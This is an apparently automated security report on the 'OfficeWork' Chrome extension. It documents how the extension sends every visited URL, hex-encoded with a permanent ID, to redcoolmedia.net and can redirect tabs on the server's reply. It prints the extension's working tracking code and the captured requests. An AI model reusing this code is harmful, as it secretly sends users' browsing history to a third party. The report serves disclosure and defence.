Is Office online OfficeWork for XLS DOC and PPT safe?

Critical risk

OfficeWork is critical risk. Each time you navigate or switch tabs, this extension sends the full URL to stream.redcoolmedia.net automatically, with no opt-in. A persistent identifier links these transmissions to your browser, building a profile on their server.…

RedcoolMediav1.4.4Chrome Web Store
100Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityCRITICAL
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

Every URL You Visit Is Sent to redcoolmedia.net

Each time you navigate or switch tabs, this extension sends the full URL to stream.redcoolmedia.net automatically, with no opt-in.

A persistent identifier links these transmissions to your browser, building a profile on their server.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You navigate to any website or switch browser tabs.

This happens automatically, no interaction with the extension is needed.

The extension did this

The extension immediately sends the full URL to a third-party server.

The URL is hex-encoded and included in a GET request to stream.redcoolmedia.net/api/officeworku.php along with your persistent tracking ID.

02EvidenceNETWORK CAPTURE
Captured request
GEThttps://stream.redcoolmedia.net/api/officeworku.php?l=68747470733a2f2f7777772e72656464697426636f6d&hex=1&u=owv4f1uyye
HTTP 200 OK. Server acknowledged the URL submission.
03EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

What's actually being sent
https://www.reddit.com
04EvidenceFIELD TABLE
Unknown block kind: field_table

The data has shipped a block kind this view doesn't render yet. Raw payload below.

{
  "kind": "field_table",
  "caption": "Data transmitted on every navigation",
  "fields": []
}
05EvidenceCODE COMPARE
Unknown block kind: code_compare

The data has shipped a block kind this view doesn't render yet. Raw payload below.

{
  "kind": "code_compare",
  "caption": "Service worker code that fires on every tab event",
  "language": "js",
  "shipped": [],
  "deobfuscated": []
}
06EvidenceTHIRD PARTY LIST
Where browsing history is sent
  • stream.redcoolmedia.net

    Receives a GET request containing the hex-encoded visited URL and persistent user ID on every navigation event.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-940
SourceAI SANDBOX

Remote 302 response can redirect the current tab

The service worker sends the current URL as hex to stream.redcoolmedia.net on tab events and checks the reply.

A "302" response builds a redcoolmedia.net redirect URL and tries to update the tab; a mocked "302" triggered none here.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You switch to a tab or a page finishes updating.

The extension did this

The extension sends the page address to redcoolmedia.net and, for a matching response, attempts to move the tab to a generated redcoolmedia.net URL.

02EvidenceFIELD TABLE
Fields used in the remote-control flow
FieldValueWhy it matters
Current page URL
https://docs.example.org/q2-budget.xlsx (illustrative)This tells the remote service which page you were viewing when the tab event fired.
Hex-encoded page URL
68747470733a2f2f646f63732e6578616d706c652e6f72672f71322d6275646765742e786c7378 (illustrative)This is the same page address encoded into the request so it can be carried as a query value.
Installation identifier
qazwsxedcr (illustrative)This lets repeated requests from the same browser be connected over time.
Generated redirect URL
https://www.redcoolmedia.net/api/app-officework.php?url=68747470733a2f2f646f63732e6578616d706c652e6f72672f71322d6275646765742e786c7378&u=qazwsxedcr (illustrative)This is the address the extension tries to load when the response text contains the matching marker.
03EvidenceNETWORK CAPTURE
Captured request
GEThttps://stream.redcoolmedia.net/api/officeworku.php?l=68747470733a2f2f646f63732e6578616d706c652e6f72672f71322d6275646765742e786c7378&hex=1&u=qazwsxedcr
The redirect branch is entered only if the response body contains "302". No request body is used, and no app-officework.php navigation was observed during the mocked-response run.
04EvidenceCODE COMPARE
The code that does this

Navigation listener, remote response check, and redirect attempt

What it actually does
service.js loads the navigation handlerservice.js
importScripts(
    "./web.js"
);
web.js watches tab activation and update eventsweb.js
function xdii(tabId) {
      chrome.tabs.get(tabId, function(tab) {          
            if ( ( tab.url.indexOf("redco") == -1 ) && ( tab.url.indexOf("http") !== -1 ) && ( lasiee != tab.url) )  {
                    utyu =  tab.url;
                    rtcc = "";
                    rtcc =   utyu;  
                    exx(rtcc);
                    lasiee = tab.url;
            }
      });
}


function web() {
    this.init = function () {
        
        chrome.tabs.onActivated.addListener(function(activeInfo) {
             try  { 
                aati = activeInfo.tabId;
                xdii(aati);
              }  catch (error) {}
        });

        chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
                    try { xdii(tabId);   }  catch (error) {}
        });
     
    };
}
web.js sends the URL, checks for 302, and attempts a tab updateweb.js
async function exx(urly) {
    
    
    var redxda = { usernameredcool: null,  redcoolonline: null };
    var usernameredcool = "";
    var redcoolonline = "";
    const redcool_key = "redcool_key";

    let storageResult = await chrome.storage.local.get([redcool_key]);

    if (redcool_key in storageResult) {
            redxda = storageResult[redcool_key]
    }

    if ( redxda.usernameredcool ) {
        usernameredcool = redxda.usernameredcool;
    }
    else {
        usernameredcool = "" + randomString(10) + "".toLowerCase();
        redxda.usernameredcool = usernameredcool;
    }

    if ( redxda.redcoolonline ) {
        redcoolonline = redxda.redcoolonline;
    }
    else {
        redcoolonline = "1";
        redxda.redcoolonline = "1";
    }

    var stox = {};
    stox[redcool_key] = redxda;
    await chrome.storage.local.set(stox);
    
    var date = new Date();
                
    var un = usernameredcool;
    
    if ( redxda.redcoolonline == "0") 
        return;
    
        
     let rtcx = await fetch('https://stream.redcoolmedia.net/api/officeworku.php?l=' + bin2hex(urly) + '&hex=1&u=' + un);
      
    
                
     if (rtcx.status === 200) {
              let dsx = await rtcx.text();
              console.log(dsx);  
              var rse2 = dsx;
              if ( rse2.indexOf("302") !== -1 )   {
                       var cvcv = 'https://www.redcoolmedia.net/api/app-officework.php?url=' + bin2hex(urly) + '&u=' + un;
                        //chrome.tabs.create({ url: cvcv });
                       chrome.tabs.update(chrome.tabs.getCurrent().id, {url: cvcv});
             }
                                  
     }
    
}


function bin2hex (bin)
{
  var i = 0, l = bin.length, chr, hex = '';
  for (i; i < l; ++i)
  {
    chr = bin.charCodeAt(i).toString(16)
    hex += chr.length < 2 ? '0' + chr : chr
  }
  return hex
}
05EvidenceTHIRD PARTY LIST
Remote hosts involved in the flow
  • stream.redcoolmedia.net

    Receives the page URL encoded as the l query parameter and returns the response text checked by the extension.

  • www.redcoolmedia.net

    Receives the generated app-officework.php URL that the extension attempts to load when the response text contains "302".

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Extension Assigns You a Permanent Tracking ID at Install

On install, the extension generates a 10-character random ID stored permanently.

It's attached to every outbound request, including one per page visited, letting the operator rebuild your full browsing history as one linked profile.

01EvidenceCAUSE EFFECT
What actually happens
You did this

The extension runs for the first time after installation.

The service worker checks chrome.storage.local for an existing ID under 'redcool_key'.

The extension did this

A permanent 10-character identifier is created and stored automatically.

This ID is attached to every subsequent outbound request, permanently linking all your browsing activity to a single server-side profile.

02EvidenceSTORAGE DUMP
What's stored on your device

'usernameredcool' is the persistent tracking ID. 'redcoolonline' controls whether URL exfil is active (1=on). Both survive restarts.

Locationchrome.storage.local key 'redcool_key'
Contents (JSON)
{
  "redcoolonline": "1",
  "usernameredcool": "owv4f1uyye"
}
03EvidenceCODE COMPARE
Unknown block kind: code_compare

The data has shipped a block kind this view doesn't render yet. Raw payload below.

{
  "kind": "code_compare",
  "caption": "ID generation and attachment to requests",
  "language": "js",
  "shipped": [],
  "deobfuscated": []
}
04EvidenceFIELD TABLE
Unknown block kind: field_table

The data has shipped a block kind this view doesn't render yet. Raw payload below.

{
  "kind": "field_table",
  "caption": "What the tracking ID enables",
  "fields": []
}
05EvidenceTHIRD PARTY LIST
Server that receives and stores tracking data
  • stream.redcoolmedia.net

    Receives all URL submissions tagged with the persistent user ID; accumulates browsing history server-side.

Updated 10 September 2026aobjedggladklcfbokddfgjkfdioknak